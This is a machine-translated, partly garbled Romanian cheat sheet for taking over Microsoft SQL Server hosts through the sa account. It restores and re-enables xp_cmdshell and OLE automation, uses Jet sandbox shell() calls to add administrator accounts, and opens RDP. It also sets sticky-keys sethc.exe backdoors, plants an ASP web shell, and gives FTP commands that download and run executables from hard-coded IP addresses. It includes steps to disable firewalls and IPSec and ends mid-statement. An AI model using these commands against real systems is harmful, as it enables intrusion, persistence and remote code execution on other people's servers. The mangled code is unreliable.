Ordine de reparații din 1433
utilizator net, SQLDebugger list /add net localgroup administrators SQLDebugger /add
Mesaj de eroare: Nu s-a găsit procedura stocată 'master.. xp_cmdshell'。
Metoda de reparație: foarte generală, de fapt, alte 126 127 pot fi reparate împreună,
Cu excepția xplog70.dll tot restul poate fi reparat cu această comandă
xp_cmdshell noi metode de recuperare Pasul 1: Șterge: Procedura de sp_addextendedproc Procedura de cădere sp_oacreate Executiv sp_dropextendedproc 'xp_cmdshell' Chelner: Msg 3701, Nivel 11, Stat 5, Linia 1 Nu este posibilă eliminarea procesului "sp_addextendedproc" deoarece acesta nu există în directorul sistemului. Chelner: Msg 3701, Nivelul 11, Stare 5, Procedura sp_dropextendedproc, Linia 18 Nu este posibilă eliminarea procesului "xp_cmdshell" deoarece acesta nu există în directorul sistemului. Pasul 2 Recuperare: DBCC AddExtendedProc ("sp_oacreate","odsole70.dll") DBCC AddExtendedProc ("xp_cmdshell","xplog70.dll") Recuperare directă, indiferent dacă sp_addextendedproc există sau nu
xplog70.dll soluții:
Mesaj de eroare: DLL-ul xplog70.dll sau unul dintre DLL-urile referențiate de DLL nu a putut fi montat. Motiv: 126 (Modulul specificat nu poate fi găsit.) )。
Repară XPLOG70.DLL (mai întâi verifică directorul de backup \x86\bin cu fișierul, apoi înlocuiește directorul următor)
Pasul 1 Executiv sp_dropextendedproc 'xp_cmdshell' Pasul 2 DBC AddExtendedProc ("xp_cmdshell","c:\sql2ksp4\x86\binn\xplog70.dll")
Nu am găsit procedura stocată 'master.. xp_cmdshell'。 Pasul 1: creează procedura sp_addextendedproc --- 1996/08/30 20:13 @functname Nvarchar(517),/* (proprietar.) Numele funcției de chemat
*/ @dllname varchar(255)/* numele DLL-ului care conține funcția */ ca Pornește implicit_transactions dacă @@trancount > 0 Încep raiserror(15002,-1,-1,'sp_addextendedproc') Întoarcerea (1) Sfârșit DBC AddExtendedProc( @functname, @dllname) Retur (0) -- sp_addextendedproc DU-TE
Pasul 2: EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
SQL Server a blocat accesul la procesul 'sys.xp_cmdshell' al componentei 'xp_cmdshell' deoarece această componentă a fost oprită ca parte a configurației de securitate pentru acest server. Administratorii de sistem pot activa "xp_cmdshell" folosind sp_configure. Pentru mai multe informații despre activarea xp_cmdshell, consultați Peripheral App Configurator în seria SQL Server Online Books.
; EXECUTIVE sp_configure 'afișează opțiuni avansate', 1 -- ; RECONFIGURARE CU SUPRASCRIERE -- ; EXECUTIV sp_configure 'xp_cmdshell', 1 -- ; RECONFIGURARE CU SUPRASCRIERE -- ; EXECUTIVE sp_configure 'afișează opțiuni avansate', 0 --
Elimină stocarea periculoasă în SQL: PROCEDURA DE SCĂDERE sp_makewebtask Șec Teacher.. sp_dropextendedproc xp_cmdshell Șec Teacher.. sp_dropextendedproc xp_dirtree Șec Teacher.. sp_dropextendedproc xp_fileexist Șec Teacher.. sp_dropextendedproc xp_terminate_process Șec Teacher.. sp_dropextendedproc sp_oamethod Șec Teacher.. sp_dropextendedproc sp_oacreate Șec Teacher.. sp_dropextendedproc xp_regaddmultistring Șec Teacher.. sp_dropextendedproc xp_regdeletekey Șec Teacher.. sp_dropextendedproc xp_regdeletevalue Șec Teacher.. sp_dropextendedproc xp_regenumkeys Șec Teacher.. sp_dropextendedproc xp_regenumvalues Șec Teacher.. sp_dropextendedproc sp_add_job Șec Teacher.. sp_dropextendedproc sp_addtask Șec Teacher.. sp_dropextendedproc xp_regread Șec Teacher.. sp_dropextendedproc xp_regwrite Șec Teacher.. sp_dropextendedproc xp_readwebtask Șec Teacher.. sp_dropextendedproc xp_makewebtask Șec Teacher.. sp_dropextendedproc xp_regremovemultistring Șec Teacher.. sp_dropextendedproc sp_OACreate PROCEDURA DE SCĂDERE sp_addextendedproc
Restaurarea procedurilor stocate extinse Restaurați sp_addextendedproc mai întâi, afirmația este următoarea: În primul rând: creează procedura sp_addextendedproc --- 1996/08/30 20:13 @functname Nvarchar(517),/* (proprietar.) numele funcției pentru a chema */ @dllname varchar(255)/* numele DLL-ului care conține funcția */ ca Pornește implicit_transactions dacă @@trancount > 0 Încep raiserror(15002,-1,-1,'sp_addextendedproc') Întoarcerea (1) Sfârșit DBC AddExtendedProc( @functname, @dllname) Retur (0) -- sp_addextendedproc DU-TE
Al doilea: Folosește maestrul sp_addextendedproc xp_cmdshell executiv, "xp_cmdshell.dll" sp_addextendedproc xp_dirtree executiv, "xpstar.dll" sp_addextendedproc xp_enumgroups executiv, "xplog70.dll" sp_addextendedproc xp_fixeddrives executiv, "xpstar.dll" sp_addextendedproc xp_loginconfig executiv, "xplog70.dll" sp_addextendedproc xp_enumerrorlogs executiv, "xpstar.dll" Executiv sp_addextendedproc xp_getfiledetails, "xpstar.dll" Executivul sp_addextendedproc sp_OACreate, "odsole70.dll" Executiv sp_addextendedproc sp_OADestroy, "odsole70.dll" Executivul sp_addextendedproc sp_OAGetErrorInfo, "odsole70.dll" Executivul sp_addextendedproc sp_OAGetProperty, "odsole70.dll" sp_addextendedproc sp_OAMethod executiv, "odsole70.dll" sp_addextendedproc sp_OASetProperty executiv, "odsole70.dll" sp_addextendedproc sp_OAStop executiv, "odsole70.dll" Executivul sp_addextendedproc xp_regaddmultistring, "xpstar.dll" sp_addextendedproc xp_regdeletekey executiv, "xpstar.dll" sp_addextendedproc xp_regdeletevalue executiv, "xpstar.dll" sp_addextendedproc xp_regenumvalues executiv, "xpstar.dll" Executivul sp_addextendedproc xp_regread, "xpstar.dll" sp_addextendedproc xp_regremovemultistring executiv, "xpstar.dll" sp_addextendedproc xp_regwrite executiv, "xpstar.dll" sp_addextendedproc xp_availablemedia executiv, "xpstar.dll"
Șterge instrucțiunea care extinde procedura stocată xp_cmdshell: Executiv sp_dropextendedproc 'xp_cmdshell'
Recuperează instrucțiunea sql a cmdshell exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
Deschide instrucțiunea SQL cmdshell exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
Determinarea existenței unei extinderi de stocare select count(*) din master.dbo.sysobjects unde xtype='x' și name='xp_cmdshell' Rezultatul de retur este 1 și este OK
Restaurează xp_cmdshell executive master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll'; select count(*) din master.dbo.sysobjects unde xtype='x' și name='xp_cmdshell' Rezultatul de retur este 1 și este OK Altfel, încarcă xplog7.0.dll exec master.dbo.addextendedproc 'xp_cmdshell','c:\winnt\system32\xplog70.dll'
Blochează instrucțiunea sql a cmdshell sp_dropextendedproc "xp_cmdshell
Unu. Schimbarea metodei parolei SA: După conectarea la Instrumentul de Utilizare Cuprinzătoare SQL, executați comanda: exec sp_password NULL, 'parolă nouă', 'sa' (Indiciu: folosește cu prudență!)
Doi. Pur și simplu corectează parola slabă.
Metoda 1: Interogă splitterul după conectare: dacă există (selectează * de la dbo.sysobjects unde id = object_id(N'[dbo].[ xp_cmdshell]') și OBJECTPROPERTY(id, N'IsExtendedProc') = 1)
executiv sp_dropextendedproc N'[dbo]. [xp_cmdshell]'
DU-TE Apoi apasă tasta F5 pentru a executa comanda
Metoda 2: Interogare după ce splitterul este conectat Primul pas este să execuți: să folosești master Pasul 2: sp_dropextendedproc "xp_cmdshell" Apoi apasă tasta F5 pentru a executa comanda
DLL-xpsql70.dll sau una dintre DLL-urile menționate de DLL nu pot fi montate. Motivul 126 (Modulul specificat nu poate fi găsit. ) Metoda de recuperare: După interogarea conexiunii splitterului, Pasul 1: sp_dropextendedproc "xp_cmdshell" Pasul 2: sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
Funcția xp_cmdshell nu poate fi găsită în biblioteca xpweb70.dll. Motiv: 127 (Programul specificat nu poate fi găsit.) ) Metoda de recuperare: După interogarea conexiunii splitterului, Pasul 1 Execuție: executivul sp_dropextendedproc "xp_cmdshell" Pasul 2: executivul sp_addextendedproc 'xp_cmdshell', 'xpweb70.dll' Apoi apasă tasta F5 pentru a executa comanda
Dacă niciuna dintre metodele de mai sus nu este recuperabilă, te rugăm să încerci să adaugi contul direct folosind următoarele metode: După ce am interogat conexiunea splitterului, Sistem 2000servser: declară @shell int exec sp_oacreate 'wscrip remove t.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user web hacker /add'
declare @shell int exec sp_oacreate 'wscrip remove t.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators Web /add'
XP sau 2003Server System: Eroare 126! Ordine
declară @shell int exec sp_oacreate 'wscrip remove t.shell', @shell outputa exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user Web$ hacker /add'
declară @shell int exec sp_oacreate 'wscrip remove t.shell', @shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators Web$ /add'
C:\>DIR C:\ SQL Server a blocat accesul la procesul 'sys.xp_cmdshell' al componentei 'xp_cmdshell' deoarece această componentă a fost oprită ca parte a configurației de securitate pentru acest server. Administratorii de sistem pot activa "xp_cmdshell" folosind sp_configure. Pentru mai multe informații despre activarea xp_cmdshell, consultați Peripheral App Configurator în seria SQL Server Online Books.
Instrucțiuni executate de analizator:
EXECUTIVE sp_configure 'afișează opțiuni avansate', 1; RECONFIGUREAZĂ; EXECUTIV sp_configure 'xp_cmdshell', 1; RECONFIGUREAZĂ;
Uneori, când se execută instrucțiunile de mai sus cu o conexiune de detacher de interogare, procedura stocată nu poate fi găsită sp_addextendedproc
Soluție de ocolire:
creează procedura sp_addextendedproc --- 1996/08/30 20:13 @functname Nvarchar(517),/* (proprietar.) Numele funcției de apelat */ @dllname varchar(255)/* numele DLL-ului care conține funcția */ ca Pornește implicit_transactions dacă @@trancount > 0 Încep raiserror(15002,-1,-1,'sp_addextendedproc') Întoarcerea (1) Sfârșit DBC AddExtendedProc( @functname, @dllname) Retur (0) -- sp_addextendedproc DU-TE Acest cod este lipit în divizorul de interogări și executat
Explorer:
c:\windows\explorer.exe
Consultați cuprinsul Executiv master.dbo.xp_subdirs 'C:\' Discuri de listă Șec Teacher.. xp_fixeddrives
xpsql.cpp: 错误 5 来自 CreateProcess(第 737 行) 直接加帐号!
EXECUTIVE master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE', 'SoftWare\Microsoft\Jet\4.0\Engines', 'SandBoxMode','REG_DWORD',0 Select * din OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("utilizator net 123 123 /add")'); Select * din OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators 123 /add")');
echo Windows Registry Editor versiunea 5.00 >3389.reg Echo. >>3389.reg echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache] >>3389.reg echo "Activat"="0" >>3389.reg echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] >>3389.reg ecoul "ShutdownWithoutLogon"="0" >>3389.reg echo [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] >>3389.reg echo "EnableAdminTSRemote"=dword:00000001 >>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] >>3389.reg echo "TSEnabled"=dword:00000001 >>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>3389.reg ecou "Start"=dword:00000002 >>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService] >>3389.reg ecou "Start"=dword:00000002 >>3389.reg echo [HKEY_USERS\. IMPLICIT\LayoutTastare\Toggle] >>3389.reg ecou "Shortkey"="1" >>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp] >>3389.reg echo "PortNumber"=dword:0000D3D >>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>3389.reg echo "PortNumber"=dword:0000D3D >>3389.reg regedit /s 3389.reg
Deschide 3389:
exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0; --
Trecerea 3389:
exec: master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server', 'fDenyTSConnections', 'REG_DWORD',1;
Verifică portul 3389
exec xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp', 'PortNumber'
Ușa din spate normală pentru CMD xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger', 'reg_sz'', 'c:\windows\system32\cmd.exe'
win2K merge direct către PS Mar Șec Teacher.. xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode','REG_DWORD',1 selectează * din openrowset('microsoft.jet.oledb.4.0','; database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c @echo open 60.190.176.85>>net.txt&@echo reconditeness>>net.txt&@echo 7259>>net.txt&@echo get 0.exe>>net.txt& @echo pa>>net.txt&@ftp -s:net.txt&del net.txt & 0.exe")')
win03-XP direct pe caii PS Șec Teacher.. xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode','REG_DWORD',1 selectează * din openrowset('microsoft.jet.oledb.4.0','; database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c @echo open 60.190.176.85>>net.txt&@echo reconditeness>>net.txt&@echo 7259>>net.txt&@echo get 0.exe>>net.txt& @echo pa>>net.txt&@ftp -s:net.txt&del net.txt & 0.exe")')
5. Schimbă comanda backdoor declară @o int exec sp_oacreate 'scrip remove ting.filesystemobject', @o out sp_oamethod @o executiv, 'copyfile',null,'c:\windows\explorer.exe', 'c:\windows\system32\sethc.exe';
declară @o int exec sp_oacreate 'scrip remove ting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\system32\sethc.exe', 'c:\windows\system32\dllCache\sethc.exe';
Copiat C:\Windows\explorer.exe C:\Windows\System32\sethc.exe Copiat C:\Windows\System32\sethc.exe C:\Windows\System32\DLLcache\sethc.exe
declară @o int Executive sp_oacreate 'wscrip remove t.shell', @o out exec sp_oamethod @o, 'run', NULL, 'XXXXX' \\XXXXX este comanda pe care vrei să o execuți
Scrie valoarea specificată în cheia specificată în registru), folosind metoda (scrie bbb în cheia HKEY_LOCAL_MACHINE\SOFTWARE\aaa\aaaValue):
Maestru executiv... xp_regwrite
@rootkey='HKEY_LOCAL_MACHINE',
@key='SOFTWARE\aaa',
@value_name='aaaValue',
@type='REG_SZ',
@value='bbb'
@echo deschide 121.22.56.5>c:\bin.txt&@echo listă>>c:\bin.txt&@echo listă>>c:\bin.txt&@echo ia gzn.exe>>c:\bin.txt&@echo pa>>c:\bin.txt&@ftp -s:c:\bin.txt&del c:\bin.txt&gzn.exe& gzn.exe&gzn.exe
Mai întâi, copiază ftp.exe în directorul wmpub @echo CD c:\wmpub\>c:\wmpub\in.bat&@echo ftp -s:c:\wmpub\xiuxiu.txt>>c:\wmpub\in.bat
Open 3389 REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
C:\WINDOWS\system32\dllcache\net1.exe localgroup administrators IUSR_SERVER /add
SQL scrie o propoziție Executiv master.dbo.xp_subdirs 'D:\web\cdlxkj'; exec sp_makewebtask 'd:\web\cdlxkj\XX.asp','select''<%execute(request("SB")%>''
Modul de promovare SA Sandbox ----- ---------------------- Șec Teacher.. xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode','REG_DWORD',0; ------------------------------------------------------- Select * din OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net user sql$ 123 /add")'); ------------------------------------------------------- Select * din OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators sql$ /add")');
SCHIMBUL 3389
Propoziția folosită: Invazia Maestru executiv... xp_regwrite @rootkey='HKEY_LOCAL_MACHINE', @key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc. EXE', @value_name='Depanator', @type='REG_SZ', @value='C:\WINDOWS\explorer.exe'
Recuperare Maestru executiv... xp_regwrite @rootkey='HKEY_LOCAL_MACHINE', @key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc. EXE', @value_name='Depanator', @type='REG_SZ', @value=''
Deturnarea imaginii
Maestru executiv... xp_regwrite --- asta e editare a registrului! @rootkey='HKEY_LOCAL_MACHINE', ---Aceasta este poziția! @key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc. EXE', -----Aceasta este și poziția! @value_name='Depanator', --- acesta este numele tabelului! @type='REG_SZ', --- aici este sensul scrisului! @value='C:\WINDOWS\explorer.exe' ---- iată conținutul scris!
Întregul proces este pentru a folosi masterul: xp_regwrite această componentă este realizată,
1.sql comandă pentru a interoga dacă tasta fixă a registrului a fost deturnată
Șec Teacher.. xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe', 'Debugger'
2.sql comandă deturnează funcția de taste fixă a registrului și o înlocuiește cu managerul de activități (desigur, poți să o înlocuiești cu alte comenzi pe care le dorești)
xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe', 'Depanator','REG_SZ','C:\WINDOWS\system32\taskmgr.exe'
3.sql comandă de a elimina funcția de deturnare a cheii lipicioase a registrului îți protejează serverul de exploatarea altora
xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe'
Fișiere SQL Write
declară @o int, @f int, @t int, @ret int exec sp_oacreate 'scrip remove ting.filesystemobject', @o out sp_oamethod @o executiv, 'createtextfile', @f out, 'c:\1.vbs', 1 exec @ret = sp_oamethod @f, 'writeline', NULL,'set wsnetwork=CreateObject("Wscrip remove t.NETWORK")' exec @ret = sp_oamethod @f, 'writeline', NULL,'os="WinNT://"&wsnetwork. ComputerName' exec @ret = sp_oamethod @f, 'writeline', NULL,'Set ob=GetObject(os)' exec @ret = sp_oamethod @f, 'writeline', NULL,'Set oe=GetObject(os&"/Administrators,group")' exec @ret = sp_oamethod @f, 'writeline', NULL,'Set od=ob. Creează("user","test")' exec @ret = sp_oamethod @f, 'writeline', NULL,'od. SetParolă "1234"' exec @ret = sp_oamethod @f, 'writeline', NULL,'od. SetInfo ' exec @ret = sp_oamethod @f, 'writeline', NULL,'Set of=GetObject(os&"/test",user) ' exec @ret = sp_oamethod @f, 'writeline', NULL,'oe.add os&"/test"'
Scripturi fără escaladare NET
struser=wscrip pentru a elimina argumentele t.(0) strpass=wscrip pentru a elimina t.arguments(1)
set lp=createObject("Wscrip remove t.NETWORK") oz="WinNT://"&lp. ComputerName Set ob=GetObject(oz) Set oe=GetObject(oz&"/Administrators,group") Set od=ob.create("user",struser) OD. SetPassword strpass OD. SetInfo Set of=GetObject(oz&"/" & struser & ",user") oe. Adaugă (of. ADsPath)
Pentru fiecare administrator în OE. Membri if struser=admin. Numește atunci Wscrip a eliminat t.echo struser & "Stabilit cu succes!" wscrip pentru a elimina t.quit sfârșit dacă Următorul
Wscrip elimină t.echo struser & "Instalarea utilizatorului a eșuat!" Salvează cele de mai sus ca utilizator. Fișier VBS Apoi execută: cscrip pentru a elimina parola username-ului user.vbs
Folosind modul sandbox JET, poți rezolva problemele cauzate de proceduri stocate precum XP_cmdshell și bibliotecile dinamice conexe. Din motive de securitate, sistemul nu activează implicit modul sandbox, ceea ce necesită xp_regwrite activează modul sandbox:
Exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0 \Motoare', 'SandBoxMode','REG_DWORD',1
Apoi execută comanda sandbox pentru a adăuga un test numit de utilizator cu parola 1234 în sistem:
selectează * din openrowset('microsoft.jet.oledb.4.0','; Database=C:\Windows \system32\ias\ias.mdb','select shell("cmd.exe /c net user test 1234 /add")')
selectează * din openrowset('microsoft.jet.oledb.4.0','; Database=C:\Windows \system32\ias\ias.mdb','select shell("cmd.exe /c NET localgroup administratorii testează /add")')
Diferite sisteme de operare au căi diferite și trebuie modificate în funcție de situație:
NT/2K: c:\winnt\system32\ XP/2003: c:\windows\system32\
În plus, în Microsoft SQL Server 2005, unele proceduri stocate sunt închise implicit și necesită comenzi pentru deschidere:
Pornește XP_cmdshell:
EXECUTIVE sp_configure 'afișează opțiuni avansate', 1; RECONFIGUREAZĂ; EXECUTIV sp_configure 'xp_cmdshell', 1; RECONFIGUREAZĂ;
Deschide "OPENROWSET":
Executiv sp_configure 'Afișează opțiuni avansate', 1; RECONFIGUREAZĂ; sp_configure executiv "Interogări distribuite ad hoc",1; RECONFIGUREAZĂ;
Pornește 'sp_oacreate':
Executiv sp_configure 'Afișează opțiuni avansate', 1; RECONFIGUREAZĂ; sp_configure executiv "Proceduri vechi de automatizare", 1; RECONFIGUREAZĂ;
Iată câteva situații în care comanda de execuție din sa este greșită: 1. DLL-ul xpsql70.dll sau un DLL referențiat de DLL nu poate fi încărcat. Motivul 126 (Modulul specificat nu poate fi găsit. ) Această situație este relativ comună, iar reparația este simplă și simplă, dar există condiții. Dacă poți lista directorul în acest caz (cu sqltools v2.0 există o funcție de director). Felicitări pentru această situație de 80% poate fi rezolvată, dacă poți lista directorul, atunci găsește calea xplog70.dll și execută următoarea comandă. Pasul 1 Exec sp_dropextendedproc 'xp_cmdshell' (această comandă este să ștergi cmdshell-ul original, deoarece deja a fost defect) Pasul 2 dbcc addextendedproc ("xp_cmdshell","c:\Program Files\Microsoft SQL Server\MSSQL\xplog70.dll") ; EXECUTIVE sp_configure 'afișează opțiuni avansate', 0 – Desigur, aceasta este o comandă sql, executată cu un analizor de interogări. C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll în al doilea pas este calea xplog70.dll, această cale este relativ comună, dacă unitatea C nu o are, poți găsi alte litere ale unității. 2. Imposibilitatea de a găsi funcția xp_cmdshell în bibliotecă xpweb70.dll. Motiv: 127 (Programul specificat nu poate fi găsit.) ) De fapt, este același lucru cu cele 126 de mai sus, adică cmdshell-ul este greșit, atâta timp cât găsești backup-ul xplog70.dll urmezi metoda de mai sus pentru a o rezolva. 3. Nu a reușit să găsească procedura stocată "master". xpcmdshell În acest caz, am văzut pe Internet că metoda este: Pasul 1: Șterge: Procedura de sp_addextendedproc Procedura de cădere sp_oacreate Executiv sp_dropextendedproc 'xp_cmdshell' Pasul 2 Recuperare: DBCC AddExtendedProc ("sp_oacreate","odsole70.dll") DBCC AddExtendedProc ("xp_cmdshell","xplog70.dll") De fapt, aceasta este aceeași cu cele de mai sus, de fapt, dacă ești atent, 126 127 de mai sus va eșua doar să găsească procedura stocată 'master:. xpcmdshell' pentru că primul pas este ștergerea procedurii stocate a cmdshell. Așadar, în acest caz, urmează doar al doilea pas de mai sus. 4. Mesaj de eroare: SQL Server a blocat accesul la procesul 'sys.xp_cmdshell' al componentei 'xp_cmdshell' deoarece această componentă a fost oprită ca parte a configurației de securitate a acestui server. Administratorii de sistem pot activa "xp_cmdshell" folosind sp_configure. Pentru mai multe informații despre activarea xp_cmdshell, consultați Peripheral App Configurator în seria SQL Server Online Books. Această situație este cea mai simplă, pentru că nu trebuie să te gândești la nimic, doar să execuți următoarea comandă ; EXECUTIVE sp_configure 'afișează opțiuni avansate', 1 -- ; RECONFIGURARE CU SUPRASCRIERE -- ; EXECUTIV sp_configure 'xp_cmdshell', 1 -- ; RECONFIGURARE CU SUPRASCRIERE -- ; EXECUTIVE sp_configure 'afișează opțiuni avansate', 0 –
După corectarea de mai sus, poți executa comanda cmd și vei începe să-ți ridici puterea. De obicei verific IP-ul mai întâi să văd dacă este intranet, apoi interog REG HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber pentru a verifica portul terminalului, apoi netstat –an pentru a vedea dacă terminalul este deschis și apoi interog utilizatorul utilizator / Adaugă un utilizator și apoi reconectează administratorii grupului local de utilizator / adaugă Dacă totul merge bine, acest lucru va doborî un server. Dar există multe probleme în acest proces. 1. Promovarea netă a puterii este reușită, dar nu se poate conecta la terminal. Există următoarele situații (1) Serverul este pe intranet. (2) Screening TCP/IP. Rulați mai întâi următoarea comandă cmd: cmd /c regedit -e c:\1.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip, exportă prima parte a registrului pentru filtrarea TCP/IP cmd /c regedit -e c:\2.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip, exportă a doua parte a registrului pentru filtrarea TCP/IP cmd /c regedit -e c:\3.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip", exportând locul trei în registru despre filtrarea TCP/IP Apoi întoarce-te la 1.reg, 2.reg, 3.reg, descarcă 1.reg, 2.reg 3.reg înapoi pe hard disk pentru editare, găsește câmpul EnableSecurityFilters ca să vezi dacă valoarea cheie după dword este 00000000, dacă este 00000001, înseamnă că administratorul a făcut filtrare tcp/ip, trebuie doar să schimbăm 1 la 0, 2. Reg și 3.reg fac aceleași modificări. (3) Stabilirea unei politici de securitate IP. Rulează comanda cmd: cmd /c net stop policyagent pentru a opri serviciul de servicii IPSEC. Conectează din nou terminalul. (4) Permisiunea de autentificare a terminalului setată de administrator poate fi folosită doar de utilizatorul specificat. (5) Firewall. Rulează comanda cmd: net stop alg /ynet stop sharedaccess
2. Apare escaladarea rețelei și accesul este refuzat Poți încerca utilizatorul net1 password /add Dacă net1 refuză accesul și tu, poți copia o ușă din spate shfit și să încerci să execuți comanda cmd: copy c:\windows\explorer.exe c:\windows\system32\sethc.exe Copiat C:\Windows\System32\sethc.exe C:\Windows\System32\DLLcache\sethc.exe Dacă ți se cere, copiază un fișier care se dovedește a fi reușit. Conectează-te la terminal și apasă shift 5 ca să vezi ce apare. Joacă-te cu Kaka Explorer, acum adaugă un utilizator manual. 3. Escaladarea netului are loc odată cu eroarea de refuz de acces 5 (evidențiat) În acest caz, nu trebuie să încerci net1, poți încerca backdoor-ul copy shift, dacă copy solicită copierea fișierului 0, dovedește că nu a reușit. Apoi poți încerca să-l încarci, dacă poți să-l încarci, poți trimite direct un instrument de escaladare a puterii care nu este net care a apărut acum ceva timp, și apoi să adaugi un utilizator. Dar majoritatea acestor cazuri nu pot fi încărcate, așa că trebuie să te gândești la asta. Deoarece cmd poate fi executat, fișierul poate fi descărcat prin cmd sub ftp, dar premisa ftp este să poată scrie text sau procesare în lot. Apoi poți scrie un text sau un batch prin o instrucțiune SQL. declară @o int, @f int, @t int, @ret int exec sp_oacreate 'scrip remove ting.filesystemobject', @o out Exec sp_oamethod @o, 'createtextfile', @f, 'C:\1.bat', 1 exec @ret = sp_oamethod @f, 'writeline', NULL,'open IP' exec @ret = sp_oamethod @f, 'writeline', NULL, 'cont ftp' exec @ret = sp_oamethod @f, 'writeline', NULL, 'ftp password' exec@ret = sp_oamethod @f, 'writeline', NULL, 'get en.exe (fără script de escaladare net) c:\en.exe' exec @ret = sp_oamethod @f, 'writeline', NULL,'bye' După ce analizatorul de interogări este executat cu succes, un 1.bat va apărea pe unitatea C (dacă execuția este reușită, dar unitatea C nu este acolo, poți schimba folderul pentru scriere, deoarece directorul rădăcină al unității C al serverului interzice scrisul) Apoi cmd execută ftp -s:c:\1.bat După ce acest proces este executat, vei descărca un script de escaladare non-net pe unitatea CFT FTP sau vei scrie direct un script de escaladare VBS declară @o int, @f int, @t int, @ret int exec sp_oacreate 'scrip remove ting.filesystemobject', @o out sp_oamethod @o executiv, 'createtextfile', @f out, 'c:\1.vbs', 1 exec @ret = sp_oamethod @f, 'writeline', NULL,'Set o=CreateObject( "Shell.Users" )' exec @ret = sp_oamethod @f, 'writeline', NULL,'Set z=o.create('user")' exec @ret = sp_oamethod @f, 'writeline', NULL,'z.changePassword "password","' exec @ret = sp_oamethod @f, 'writeline', NULL,'z.setting("AccountType")=3' Apoi cmd execută cscrip pentru a elimina t c:\1.vbs 4. Cel anterior este reparat pentru a executa comenzi cmd, dar după unele reparații apar noi probleme (1) Mesaj: A apărut o eroare în timpul execuției xp_cmdshell. Call 'CreateProcess' a eșuat cu cod de eroare: '5'. Eroarea 5 este un număr de eroare solicitat de sistem, CreateProcess înseamnă crearea unui fir de discuție, această generare de eroare are mult de-a face cu cmd.exe fișierelor de sistem, unul este că cmd este șters, celălalt este că permisiunea cmd este redusă. SQL pentru verificarea porturilor terminalului și statusului de deschidere: Șec Teacher.. xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp', 'PortNumber' Bun, punctul cheie de mai jos este să folosești două instrucțiuni SQL pentru a copia fișierul explorer al sistemului în fișierul shift backdoor al sistemului, iar următoarele două instrucțiuni sunt executate separat. Această afirmație copiază explorer.exe ca sethc.exe declară @o int exec sp_oacreate 'scripremove ting.filesystemobject', @o out exec sp_oamethod @o, 